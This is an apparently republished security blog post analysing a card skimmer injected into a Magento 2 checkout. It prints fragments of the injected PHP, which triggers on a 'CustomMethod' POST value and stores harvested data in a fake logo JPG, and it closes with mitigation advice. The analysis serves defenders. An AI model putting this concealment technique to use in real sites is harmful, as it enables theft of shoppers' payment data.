22 Jul 2021
Bad actors often leverage creative techniques to conceal malicious behaviour and harvest sensitive information from ecommerce websites.
A recent investigation for a compromised Magento 2 website revealed a malicious injection that was capturing POST request data from site visitors. Located on the checkout page, it was found to encode captured data before saving it to a .JPG file.
Malicious Injection Behavior
The following PHP code was found injected to the file ./vendor/magento/module-customer/Model/Session.php. To load the rest of the malicious code onto the compromised environment, the getAuthenticates function is created and called.
...
public function getAuthenticates($request)
{
if(empty($request->getPostValue('Custom'.'Method')))
return $this;
$docroot = BP . "/";
$sid = $request->getPostValue('Custom'.'Method');
if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
The code also creates the image file (pub/media/tmp/design/file/default_luma_logo.jpg), which it uses to store any captured data. This feature allows the attacker to easily access and download the stolen information at their convenience while concealing it within a seemingly benign JPG.
$docroot = BP . "/";
$sid = $request->getPostValue('Custom'.'Method');
if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
$fname = $docroot.'pub/media/tmp/design/file/default_luma_logo.jpg';
try {
if(!file_exists($fname)){
$fhandle = fopen($fname,'w');fclose($fhandle);
}
$fhandle = fopen($fname,'r');$content = @fread($fhandle,filesize($fname));fclose($fhandle);
...
Conclusion & Mitigation Steps
Bad actors are always actively searching for new methods to prevent any detection of their malicious behavior on compromised websites. The creative use of the fake .JPG allows an attacker to conceal and store harvested credit card details for future use without gaining too much attention from the website owner.
While this approach may make the infection difficult to initially spot, website owners who implement website monitoring services or integrity control checks will have a much easier time detecting changes or additional new files in their environment.
RONA SOFT recommends Magento users to upgrade their system to the latest version and apply the following verification and monitoring tools.
Source: SUCURI Blog
